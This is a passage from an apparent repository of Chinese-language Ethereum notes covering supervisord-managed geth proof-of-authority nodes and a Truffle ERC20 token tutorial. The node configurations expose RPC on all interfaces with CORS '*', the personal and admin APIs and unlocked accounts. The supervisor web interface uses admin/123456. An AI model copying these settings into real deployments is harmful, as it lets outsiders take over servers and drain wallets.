/etc/supervisor/conf.d/ 11 | 12 | # 添加 supervisord 的配置文件 13 | prod@ubuntu:~$ sudo cat /etc/supervisor/supervisord.conf 14 | ; supervisor config file 15 | 16 | [unix_http_server] 17 | file=/var/run/supervisor.sock ; (the path to the socket file) 18 | chmod=0700 ; sockef file mode (default 0700) 19 | 20 | [inet_http_server] 21 | port = 0.0.0.0:9009 22 | username = admin 23 | password = 123456 24 | 25 | [supervisord] 26 | logfile=/var/log/supervisor/supervisord.log ; (main log file;default $CWD/supervisord.log) 27 | pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) 28 | childlogdir=/var/log/supervisor ; ('AUTO' child log dir, default $TEMP) 29 | 30 | ; the below section must remain in the config file for RPC 31 | ; (supervisorctl/web interface) to work, additional interfaces may be 32 | ; added by defining them in separate rpcinterface: sections 33 | [rpcinterface:supervisor] 34 | supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface 35 | 36 | [supervisorctl] 37 | serverurl=unix:///var/run/supervisor.sock ; use a unix:// URL for a unix socket 38 | 39 | ; The [include] section can just contain the "files" setting. This 40 | ; setting can list multiple files (separated by whitespace or 41 | ; newlines). It can also contain wildcards. The filenames are 42 | ; interpreted as relative to this file. Included files *cannot* 43 | ; include files themselves. 44 | 45 | [include] 46 | files = /etc/supervisor/conf.d/*.ini 47 | ``` 48 | 49 | - running 50 | 51 | ```bash 52 | # 验证Running 可以通过登录配置的网页 127.0.0.1:9009 53 | prod@ubuntu:~$ sudo supervisord -c /etc/supervisor/supervisord.conf 54 | ``` 55 | 56 | # Supervisorctl 57 | 58 | - config 59 | 创建 touch /etc/supervisor/conf.d/bootnode.ini 60 | ```ini 61 | [program:bootnode] 62 | command= /home/prod/ethereum/geth-alltools/bootnode -nodekey /home/prod/ethereum/poa/nodes/bootnode/boot.key -addr :30310 63 | autorestart=true 64 | autostart=true 65 | stdout_logfile=/home/prod/ethereum/poa/log/bootnode.log 66 | redirect_stderr=true 67 | stopsignal=QUIT 68 | ``` 69 | 70 | - update 71 | ```bash 72 | prod@ubuntu:~/ethereum/poa$ sudo supervisorctl update bootnode 73 | bootnode: added process group 74 | 75 | prod@ubuntu:~/ethereum/poa$ sudo supervisorctl status 76 | bootnode RUNNING pid 23898, uptime 0:00:09 77 | ``` 78 | 79 | - add nodes 80 | ```ini 81 | [program:poanode1] 82 | command= /home/prod/ethereum/geth-alltools/geth --syncmode 'full' --rpc --rpcport "8541" --rpcaddr "0.0.0.0" --datadir /home/prod/ethereum/poa/nodes/node1 --port "30301" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" --networkid 1034 --unlock 0x5dab1b9d9da91d77c3b130785c1117507e252412 --password /home/prod/ethereum/poa/nodes/node1/password --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 --mine 83 | autorestart=true 84 | autostart=true 85 | stdout_logfile=/home/prod/ethereum/poa/log/node1.log 86 | redirect_stderr=true 87 | stopsignal=QUIT 88 | 89 | [program:poanode2] 90 | command= /home/prod/ethereum/geth-alltools/geth --syncmode 'full' --rpc --rpcport "8542" --rpcaddr "0.0.0.0" --datadir /home/prod/ethereum/poa/nodes/node2 --port "30302" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" --networkid 1034 --unlock 0xe1ace7e1a98ab69abdd45f58aa2ed0899f7fe236 --password /home/prod/ethereum/poa/nodes/node2/password --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 --mine 91 | autorestart=true 92 | autostart=true 93 | stdout_logfile=/home/prod/ethereum/poa/log/node2.log 94 | redirect_stderr=true 95 | stopsignal=QUIT 96 | 97 | [program:poanode3] 98 | command= /home/prod/ethereum/geth-alltools/geth --syncmode 'full' --rpc --rpcport "8543" --rpcaddr "0.0.0.0" --datadir /home/prod/ethereum/poa/nodes/node3 --port "30303" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" --networkid 1034 --unlock 0x2befa8094fd7117c1a518dfd795a4e44accfa245 --password /home/prod/ethereum/poa/nodes/node3/password --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 --mine 99 | autorestart=true 100 | autostart=true 101 | stdout_logfile=/home/prod/ethereum/poa/log/node3.log 102 | redirect_stderr=true 103 | stopsignal=QUIT 104 | ``` 105 | 106 | ```bash 107 | # 重新加载, 对已经存在的 reread 108 | prod@ubuntu:~/ethereum/poa$ sudo supervisorctl reload 109 | ``` -------------------------------------------------------------------------------- /notes/truffle/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/truffle/README.md -------------------------------------------------------------------------------- /notes/truffle/erc20-token/README.md: -------------------------------------------------------------------------------- 1 | ## ERC20介绍 2 |    [ERC-20 Token Standard](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) 3 | 4 | ## 初始化 5 | 注意: 在windows下使用 `truffle.cmd` 6 | ``` 7 | # 1. 创建 erc20-token 目录 8 | prod@ubuntu:~/solidity$ mkdir erc20-token 9 | 10 | # 2. 初始化目录 11 | prod@ubuntu:~/solidity/erc20-token$ truffle init 12 | Downloading... 13 | Unpacking... 14 | Setting up... 15 | Unbox successful. Sweet! 16 | 17 | Commands: 18 | 19 | Compile: truffle compile 20 | Migrate: truffle migrate 21 | Test contracts: truffle test 22 | # 3. 查看目录树 23 | prod@ubuntu:~/solidity/erc20-token$ tree 24 | . 25 | ├── contracts 26 | │   └── Migrations.sol 27 | ├── migrations 28 | │   └── 1_initial_migration.js 29 | ├── test 30 | ├── truffle-config.js 31 | └── truffle.js 32 | 33 | 3 directories, 4 files 34 | ``` 35 | 36 | ## 智能合约创建 37 | ``` 38 | # 4. 创建 ABCToken contract 39 | prod@ubuntu:~/solidity/erc20-token$ truffle create contract ABCToken 40 | # 5. 创建 ABCToken migration 41 | prod@ubuntu:~/solidity/erc20-token$ truffle create migration AbcToken 42 | # 6. 进行重命名migration, 按照顺序 1,2, 3 ... n 43 | prod@ubuntu:~/solidity/erc20-token$ mv migrations/1528368256_abc_token.js migrations/2_abc_token.js 44 | # 7. 创建测试用例 45 | prod@ubuntu:~/solidity/erc20-token$ truffle create test AbcToken 46 | 47 | # 查看创建的文件 48 | prod@ubuntu:~/solidity/erc20-token$ tree 49 | . 50 | ├── contracts 51 | │   ├── ABCToken.sol 52 | │   └── Migrations.sol 53 | ├── migrations 54 | │   ├── 1_initial_migration.js 55 | │   └── 2_abc_token.js 56 | ├── test 57 | │   └── abc_token.js 58 | ├── truffle-config.js 59 | └── truffle.js 60 | 61 | ``` 62 | 63 | ## 智能合约编写 64 | [ABCToken.sol](./contracts/ABCToken.sol) 65 | 66 | ## 编译 67 | 68 | ``` 69 | # 8. 编译 70 | prod@ubuntu:~/solidity/erc20-token$ truffle compile 71 | Compiling ./contracts/ABCToken.sol... 72 | Compiling ./contracts/Migrations.sol... 73 | Compiling ./contracts/utils/ERC20Token.sol... 74 | Compiling ./contracts/utils/SafeMath.sol... 75 | Writing artifacts to ./build/contracts 76 | 77 | ``` 78 | 79 | ## 本地开发测试环境部署 80 | - 编辑migrations文件 81 | ```js 82 | var SafeMath = artifacts.require("./utils/SafeMath.sol"); 83 | var ABCToken = artifacts.require("./ABCToken.sol"); 84 | 85 | module.exports = function(deployer) { 86 | deployer.deploy(SafeMath); 87 | deployer.link(SafeMath, ABCToken); 88 | deployer.deploy(ABCToken, "AbcCoin", "ABC", 10000, 8); 89 | }; 90 | ``` 91 | 92 | - 进行开发环境 93 | 94 | ```bash 95 | # 进入develop环境 96 | prod@ubuntu:~/solidity/erc20-token$ truffle develop 97 | Truffle Develop started at http://127.0.0.1:9545/ 98 | 99 | Accounts: 100 | (0) 0x627306090abab3a6e1400e9345bc60c78a8bef57 101 | (1) 0xf17f52151ebef6c7334fad080c5704d77216b732 102 | (2) 0xc5fdf4076b8f3a5357c5e395ab970b5b54098fef 103 | (3) 0x821aea9a577a9b44299b9c15c88cf3087f3b5544 104 | (4) 0x0d1d4e623d10f9fba5db95830f7d3839406c6af2 105 | (5) 0x2932b7a2355d6fecc4b5c0b6bd44cc31df247a2e 106 | (6) 0x2191ef87e392377ec08e7c08eb105ef5448eced5 107 | (7) 0x0f4f2ac550a1b4e2280d04c21cea7ebd822934b5 108 | (8) 0x6330a553fc93768f612722bb8c2ec78ac90b3bbc 109 | (9) 0x5aeda56215b167893e80b4fe645ba6d5bab767de 110 | 111 | Private Keys: 112 | (0) c87509a1c067bbde78beb793e6fa76530b6382a4c0241e5e4a9ec0a0f44dc0d3 113 | (1) ae6ae8e5ccbfb04590405997ee2d52d2b330726137b875053c36d94e974d162f 114 | (2) 0dbbe8e4ae425a6d2687f1a7e3ba17bc98c673636790f1b8ad91193c05875ef1 115 | (3) c88b703fb08cbea894b6aeff5a544fb92e78a18e19814cd85da83b71f772aa6c 116 | (4) 388c684f0ba1ef5017716adb5d21a053ea8e90277d0868337519f97bede61418 117 | (5) 659cbb0e2411a44db63778987b1e22153c086a95eb6b18bdf89de078917abc63 118 | (6) 82d052c865f5763aad42add438569276c00d3d88a2d062d36b2bae914d58b8c8 119 | (7) aa3680d5d48a8283413f7a108367c7299ca73f553735860a87b08f39395618b7 120 | (8) 0f62d96d6675f32685bbdb8ac13cda7c23436f63efbb9d07700d8669ff12b7c4 121 | (9) 8d5366123cb560bb606379f90a0bfd4769eecc0557f1b362dcae9012b548b1e5 122 | 123 | Mnemonic: candy maple cake sugar pudding cream honey rich smooth crumble sweet treat 124 | 125 | ⚠️ Important ⚠️ : This mnemonic was created for you by Truffle. It is not secure. 126 | Ensure you do not use it on production blockchains, or else you risk losing funds. 127 | 128 | # 部署合约, 采用migrate -f 指定migration文件 129 | truffle(develop)> migrate -f 2 130 | Using network 'develop'. 131 | 132 | Running migration: 2_abc_token.js 133 | Deploying SafeMath... 134 | ... 0x751687331e5f86a1afe097d7038815b1406e763c58c2d4c89d028dd580e5f603 135 | SafeMath: 0x8cdaf0cd259887258bc13a92c0a6da92698644c0 136 | Deploying ABCToken... 137 | ... 0x7e3c6add244aa2786d554fb1f16ddd197398b4c62bf088712e43709fe65547c7 138 | ABCToken: 0xf12b5dd4ead5f743c6baa640b0216200e89b60da 139 | Saving artifacts... 140 | 141 | # 查看合约地址 142 | truffle(develop)> ABCToken.deployed().then(instance => instance.address); 143 | '0xf12b5dd4ead5f743c6baa640b0216200e89b60da' 144 | # 查看合约name 145 | truffle(develop)> ABCToken.deployed().then(instance => instance.name()); 146 | 'AbcCoin' 147 | # 查看合约symbol 148 | truffle(develop)> ABCToken.deployed().then(instance => instance.symbol()); 149 | 'ABC' 150 | # 查看发行量 151 | truffle(develop)> ABCToken.deployed().then(instance => instance.totalSupply()); 152 | BigNumber { s: 1, e: 12, c: [ 1000000000000 ] } 153 | 154 | ``` 155 | 156 | ## 测试用例 157 | 编写test 158 | 159 | ```javascript 160 | const ABCToken = artifacts.require("ABCToken"); 161 | 162 | contract('ABCToken', function(accounts) { 163 | let owner = accounts[0]; 164 | let wallet1 = accounts[1]; 165 | let wallet2 = accounts[2]; 166 | let TestInstance = null; 167 | 168 | beforeEach('setup contract for each test', async() => { 169 | TestInstance = await ABCToken.new("AbcCoin","ABC", 10000, 8); 170 | }) 171 | 172 | it('1) 检测初始化参数', async() => { 173 | assert.equal(await TestInstance.name(),"AbcCoin"); 174 | assert.equal(await TestInstance.symbol(), "ABC"); 175 | assert.equal(await TestInstance.totalSupply(), 10 ** 12); 176 | assert.equal(await TestInstance.owner(), owner); 177 | }) 178 | 179 | it('2) 钱包转账测试', async() => { 180 | let balance1 = await TestInstance.balanceOf.call(owner) 181 | assert.equal(balance1.toNumber(), 10 ** 12); 182 | 183 | await TestInstance.transfer(wallet1, 1.2 * 10**8); 184 | 185 | let balance2 = await TestInstance.balanceOf(owner); 186 | assert.equal(balance2.toNumber(), 10 ** 12 - 1.2 * 10**8); 187 | 188 | let balance3 = await TestInstance.balanceOf(wallet1); 189 | assert.equal(balance3.toNumber(), 1.2 * 10**8); 190 | }) 191 | 192 | it('3) 代币铸造权限检测', async() => { 193 | 194 | try{ 195 | await TestInstance.mint(wallet1, 0.3 * 10**8, {from: wallet2}); 196 | }catch(error){ 197 | const revertFound = error.message.search('revert') >= 0; 198 | assert(revertFound, `Expected "revert", got ${error} instead`); 199 | } 200 | let balance1 = await TestInstance.balanceOf(wallet1); 201 | assert.equal(balance1.toNumber(), 0); 202 | }) 203 | 204 | it('4) 代币铸造测试', async() => { 205 | 206 | try{ 207 | await TestInstance.mint(wallet1, 0.3 * 10**8); 208 | }catch(error){ 209 | const revertFound = error.message.search('revert') >= 0; 210 | assert(revertFound, `Expected "revert", got ${error} instead`); 211 | } 212 | let balance1 = await TestInstance.balanceOf(wallet1); 213 | assert.equal(balance1.toNumber(), 3 * 10**7); 214 | 215 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 + 0.3 * 10 ** 8); 216 | }) 217 | 218 | it('5) 代币销毁权限检测', async() => { 219 | await TestInstance.transfer(wallet1, 5 * 10**8); 220 | try{ 221 | await TestInstance.burn(wallet1, 2 * 10**8, {from: wallet2}); 222 | }catch(error){ 223 | const revertFound = error.message.search('revert') >= 0; 224 | assert(revertFound, `Expected "revert", got ${error} instead`); 225 | } 226 | let balance1 = await TestInstance.balanceOf(wallet1); 227 | assert.equal(balance1.toNumber(), 5 * 10 ** 8); 228 | }) 229 | 230 | it('6) 代币销毁测试', async() => { 231 | await TestInstance.transfer(wallet1, 5 * 10**8); 232 | try{ 233 | await TestInstance.burn(wallet1, 2 * 10**8); 234 | }catch(error){ 235 | const revertFound = error.message.search('revert') >= 0; 236 | assert(revertFound, `Expected "revert", got ${error} instead`); 237 | } 238 | let balance1 = await TestInstance.balanceOf(wallet1); 239 | assert.equal(balance1.toNumber(), 3 * 10**8); 240 | 241 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 - 2 * 10 ** 8); 242 | }) 243 | }); 244 | 245 | ``` 246 | 247 | 248 | ``` 249 | # 9. 运行测试用例 250 | prod@ubuntu:~/solidity/erc20-token$ truffle test 251 | Using network 'test'. 252 | 253 | 254 | 255 | Contract: ABCToken 256 | ✓ 1) 检测初始化参数 (75ms) 257 | ✓ 2) 钱包转账测试 (68ms) 258 | ✓ 3) 代币铸造权限检测 259 | ✓ 4) 代币铸造测试 (49ms) 260 | ✓ 5) 代币销毁权限检测 (54ms) 261 | ✓ 6) 代币销毁测试 (72ms) 262 | 263 | 264 | 6 passing (689ms) 265 | 266 | prod@ubuntu:~/solidity/erc20-token$ 267 | 268 | ``` 269 | 270 | ## 部署生成环境 271 | ### 节点环境 272 | - 运行geth 273 | ```bash 274 | geth --identity "chain" --ethash.dagsinmem 0 --rpc --rpcport "8541" --rpcaddr "0.0.0.0" --datadir node1/data --port "30301" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner" --networkid 1024 --nodiscover 275 | ``` 276 | 277 | - geth 进入 console 278 | 279 | ```bash 280 | prod@ubuntu:~/ethereum/nodes$ geth attach node1/data/geth.ipc 281 | Welcome to the Geth JavaScript console! 282 | 283 | instance: Geth/chain/v1.8.9-stable-ff9b1461/linux-amd64/go1.10.1 284 | coinbase: 0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232 285 | at block: 369 (Wed, 30 May 2018 16:39:14 CST) 286 | datadir: /home/prod/ethereum/nodes/node1/data 287 | modules: admin:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0 288 | 289 | # 开始挖矿记账 290 | > miner.start() 291 | 292 | # 获取部署合约的 coinbase 钱包地址 293 | > eth.coinbase 294 | "0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232" 295 | 296 | ``` 297 | 298 | 299 | ### 项目配置 300 | - 编辑truffle.js 301 | ```js 302 | module.exports = { 303 | // See 304 | // to customize your Truffle configuration! 305 | solc: { 306 | optimizer: { 307 | enabled: true, 308 | } 309 | }, 310 | networks: { 311 | prodwork: { 312 | host: "127.0.0.1", 313 | port: 8541, 314 | network_id: "*", 315 | address: "0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232", 316 | gasPrice: 18000000000, // eth.gasPrice 317 | gas: 0x47b760, // 取 genesis.json 中的 GasLimit ,保证此次transaction gas 318 | } 319 | } 320 | }; 321 | ``` 322 | 323 | ### 部署 324 | - 在geth console 端 unlock coinbase 钱包地址 325 | ``` 326 | # 解锁 1000 s 327 | > personal.unlockAccount(eth.coinbase, null, 1000) 328 | Unlock account 0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232 329 | Passphrase: 330 | true 331 | > 332 | ``` 333 | - 切换到项目根目录 334 | ``` 335 | # migrate 到 prodwork 网络 336 | prod@ubuntu:~/solidity/erc20-token$ truffle migrate -f 2 --network prodwork 337 | Using network 'prodwork'. 338 | 339 | Running migration: 2_abc_token.js 340 | Deploying SafeMath... 341 | ... 0xdae2d4c89c2e9524a9e4f7326fb12acd7d3888e1b32894a844a39959cfdca5c8 342 | SafeMath: 0x5e8309efcaff694bd1f43a8651a2a34378eae48a 343 | Deploying ABCToken... 344 | ... 0xe3960f2ec083b0cb5d0987af4b28477894352577d166a39bacaca879a1976e57 345 | ABCToken: 0x580a0c67940008a8f6773a3a9c991eec9712b6d2 346 | Saving artifacts... 347 | 348 | # 查看部署地址 349 | prod@ubuntu:~/solidity/erc20-token$ truffle console --network prodwork 350 | truffle(prodwork)> ABCToken.deployed().then(instance => instance.address); 351 | '0x580a0c67940008a8f6773a3a9c991eec9712b6d2' 352 | truffle(prodwork)> 353 | 354 | ``` 355 | 356 | - python web3测试 357 | pip3 install eth_utils web3 ipython 358 | 359 | ```python 360 | prod@ubuntu:~/solidity/erc20-token$ ipython3 361 | Python 3.5.2 (default, Nov 23 2017, 16:37:01) 362 | Type 'copyright', 'credits' or 'license' for more information 363 | IPython 6.4.0 -- An enhanced Interactive Python. Type '?' for help. 364 | 365 | In [1]: from web3 import Web3, HTTPProvider 366 | 367 | In [2]: from eth_utils import to_checksum_address 368 | 369 | In [3]: import json 370 | 371 | In [4]: address = to_checksum_address("0x580a0c67940008a8f6773a3a9c991eec9712b6d2") 372 | 373 | In [5]: abi = json.loads(open("./build/contracts/ABCToken.json").read())["abi"] 374 | 375 | In [6]: w3 = Web3(HTTPProvider("http://127.0.0.1:8541")) 376 | 377 | In [7]: contract = w3.eth.contract(abi=abi, address=address) 378 | 379 | In [8]: contract.functions.totalSupply().call() 380 | Out[8]: 1000000000000 381 | 382 | In [9]: contract.functions.name().call() 383 | Out[9]: 'AbcCoin' 384 | 385 | In [10]: contract.functions.symbol().call() 386 | Out[10]: 'ABC' 387 | 388 | ``` 389 | - 更多交易代码
390 | 通过Keystore进行发起交易参考 [web3py_contract_transaction](https://github.com/zhuquanbin/ethereum-bip44/blob/master/eth_bip44/__init__.py#L175) 391 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/contracts/ABCToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | import "./utils/SafeMath.sol"; 4 | import "./utils/ERC20Token.sol"; 5 | 6 | // 代币支付的以太坊智能服务 https://ethfans.org/posts/ethereum-smart-service-payment-with-tokens 7 | 8 | contract ABCToken is ERC20Token{ 9 | using SafeMath for uint256; 10 | 11 | event Mint(address indexed to, uint256 amount); 12 | event MintFinished(); 13 | event Burn(address indexed burner, uint256 value); 14 | 15 | bool public mintingFinished = false; 16 | 17 | modifier onlyOwner() { 18 | require(msg.sender == owner); 19 | _; 20 | } 21 | 22 | modifier canMint() { 23 | require(!mintingFinished); 24 | _; 25 | } 26 | 27 | constructor(string _name, string _symbol, uint256 _supply, uint8 _decimails) 28 | ERC20Token(_name, _symbol, _supply, _decimails) public { 29 | } 30 | 31 | /** 32 | * @dev Function to mint tokens 33 | * @param _to The address that will receive the minted tokens. 34 | * @param _amount The amount of tokens to mint. 35 | * @return A boolean that indicates if the operation was successful. 36 | */ 37 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 38 | // uint256 amount_wei = _amount.mul(uint256(10) ** decimals_); 39 | totalSupply_ = totalSupply_.add(_amount); 40 | balances[_to] = balances[_to].add(_amount); 41 | emit Mint(_to, _amount); 42 | emit Transfer(address(0), _to, _amount); 43 | return true; 44 | } 45 | 46 | /** 47 | * @dev Function to stop minting new tokens. 48 | * @return True if the operation was successful. 49 | */ 50 | function finishMinting() onlyOwner canMint public returns (bool) { 51 | mintingFinished = true; 52 | emit MintFinished(); 53 | return true; 54 | } 55 | 56 | /** 57 | * @dev Burns a specific amount of tokens. 58 | * @param _value The amount of token to be burned. 59 | */ 60 | function burn(address _who, uint256 _value) onlyOwner public returns (bool) { 61 | require(_value <= balances[_who]); 62 | // no need to require value <= totalSupply, since that would imply the 63 | // sender's balance is greater than the totalSupply, which *should* be an assertion failure 64 | 65 | balances[_who] = balances[_who].sub(_value); 66 | totalSupply_ = totalSupply_.sub(_value); 67 | 68 | emit Burn(_who, _value); 69 | emit Transfer(_who, address(0), _value); 70 | return true; 71 | } 72 | 73 | /** 74 | * @dev Don't accept ETH 75 | */ 76 | function () public payable { 77 | revert(); 78 | } 79 | 80 | } 81 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/contracts/utils/ERC20Token.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | import "./SafeMath.sol"; 4 | 5 | /** 6 | * @title ERC20Basic 7 | * @dev Simpler version of ERC20 8 | */ 9 | contract ERC20Token { 10 | using SafeMath for uint256; 11 | 12 | string public name; 13 | string public symbol; 14 | address public owner; 15 | uint8 public decimals; 16 | 17 | uint256 totalSupply_; 18 | mapping (address => uint256) balances; 19 | mapping (address => mapping (address => uint256)) internal allowed; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Fix for the ERC20 short address attack. 26 | * Remove short address attack checks from tokens(https://github.com/OpenZeppelin/openzeppelin-solidity/issues/261) 27 | */ 28 | modifier onlyPayloadSize(uint256 size) { 29 | require(msg.data.length >= size + 4); 30 | _; 31 | } 32 | 33 | constructor(string _name, string _symbol, uint256 _supply, uint8 _decimals) public { 34 | owner = msg.sender; 35 | name = _name; 36 | symbol = _symbol; 37 | decimals = _decimals; 38 | totalSupply_ = _supply.mul(uint256(10) ** _decimals); 39 | balances[owner] = totalSupply_; 40 | } 41 | 42 | /** 43 | * @dev total number of tokens in existence 44 | */ 45 | function totalSupply() public view returns (uint256) { 46 | return totalSupply_; 47 | } 48 | 49 | /** 50 | * @dev Gets the balance of the specified address. 51 | * @param _owner The address to query the the balance of. 52 | * @return An uint256 representing the amount owned by the passed address. 53 | */ 54 | function balanceOf(address _owner) public view returns (uint256) { 55 | return balances[_owner]; 56 | } 57 | 58 | /** 59 | * @dev transfer token for a specified address 60 | * @param _to The address to transfer to. 61 | * @param _value The amount to be transferred. 62 | */ 63 | function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) { 64 | require(_to != address(0)); 65 | require(_value <= balances[msg.sender]); 66 | 67 | balances[msg.sender] = balances[msg.sender].sub(_value); 68 | balances[_to] = balances[_to].add(_value); 69 | emit Transfer(msg.sender, _to, _value); 70 | return true; 71 | } 72 | 73 | 74 | 75 | /** 76 | * @dev Transfer tokens from one address to another 77 | * @param _from address The address which you want to send tokens from 78 | * @param _to address The address which you want to transfer to 79 | * @param _value uint256 the amount of tokens to be transferred 80 | */ 81 | function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) { 82 | require(_to != address(0)); 83 | require(_value <= balances[_from]); 84 | require(_value <= allowed[_from][msg.sender]); 85 | 86 | balances[_from] = balances[_from].sub(_value); 87 | balances[_to] = balances[_to].add(_value); 88 | allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); 89 | emit Transfer(_from, _to, _value); 90 | return true; 91 | } 92 | 93 | /** 94 | * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. 95 | * 96 | * Beware that changing an allowance with this method brings the risk that someone may use both the old 97 | * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this 98 | * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: 99 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 100 | * @param _spender The address which will spend the funds. 101 | * @param _value The amount of tokens to be spent. 102 | */ 103 | function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) { 104 | allowed[msg.sender][_spender] = _value; 105 | emit Approval(msg.sender, _spender, _value); 106 | return true; 107 | } 108 | 109 | /** 110 | * @dev Function to check the amount of tokens that an owner allowed to a spender. 111 | * @param _owner address The address which owns the funds. 112 | * @param _spender address The address which will spend the funds. 113 | * @return A uint256 specifying the amount of tokens still available for the spender. 114 | */ 115 | function allowance(address _owner, address _spender) public view returns (uint256) { 116 | return allowed[_owner][_spender]; 117 | } 118 | 119 | /** 120 | * @dev Increase the amount of tokens that an owner allowed to a spender. 121 | * @param _spender The address which will spend the funds. 122 | * @param _addedValue The amount of tokens to increase the allowance by. 123 | */ 124 | function increaseApproval(address _spender, uint _addedValue) public returns (bool){ 125 | allowed[msg.sender][_spender] = ( 126 | allowed[msg.sender][_spender].add(_addedValue)); 127 | emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); 128 | return true; 129 | } 130 | 131 | /** 132 | * @dev Decrease the amount of tokens that an owner allowed to a spender. 133 | * @param _spender The address which will spend the funds. 134 | * @param _subtractedValue The amount of tokens to decrease the allowance by. 135 | */ 136 | function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { 137 | uint oldValue = allowed[msg.sender][_spender]; 138 | if (_subtractedValue > oldValue) { 139 | allowed[msg.sender][_spender] = 0; 140 | } else { 141 | allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); 142 | } 143 | emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); 144 | return true; 145 | } 146 | 147 | } 148 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/contracts/utils/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | /** 4 | * @title SafeMath 5 | * @dev Math operations with safety checks that throw on error 6 | */ 7 | library SafeMath { 8 | 9 | /** 10 | * @dev Multiplies two numbers, throws on overflow. 11 | */ 12 | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { 13 | if (a == 0) { 14 | return 0; 15 | } 16 | c = a * b; 17 | assert(c / a == b); 18 | return c; 19 | } 20 | 21 | /** 22 | * @dev Integer division of two numbers, truncating the quotient. 23 | */ 24 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 25 | // assert(b > 0); // Solidity automatically throws when dividing by 0 26 | // uint256 c = a / b; 27 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 28 | return a / b; 29 | } 30 | 31 | /** 32 | * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). 33 | */ 34 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 35 | assert(b <= a); 36 | return a - b; 37 | } 38 | 39 | /** 40 | * @dev Adds two numbers, throws on overflow. 41 | */ 42 | function add(uint256 a, uint256 b) internal pure returns (uint256 c) { 43 | c = a + b; 44 | assert(c >= a); 45 | return c; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/migrations/2_abc_token.js: -------------------------------------------------------------------------------- 1 | var SafeMath = artifacts.require("./utils/SafeMath.sol"); 2 | var ABCToken = artifacts.require("./ABCToken.sol"); 3 | 4 | module.exports = function(deployer) { 5 | deployer.deploy(SafeMath); 6 | deployer.link(SafeMath, ABCToken); 7 | deployer.deploy(ABCToken, "AbcCoin", "ABC", 10000, 8); 8 | }; 9 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/test/abc_token.js: -------------------------------------------------------------------------------- 1 | const ABCToken = artifacts.require("ABCToken"); 2 | 3 | contract('ABCToken', function(accounts) { 4 | let owner = accounts[0]; 5 | let wallet1 = accounts[1]; 6 | let wallet2 = accounts[2]; 7 | let TestInstance = null; 8 | 9 | beforeEach('setup contract for each test', async() => { 10 | TestInstance = await ABCToken.new("AbcCoin","ABC", 10000, 8); 11 | }) 12 | 13 | 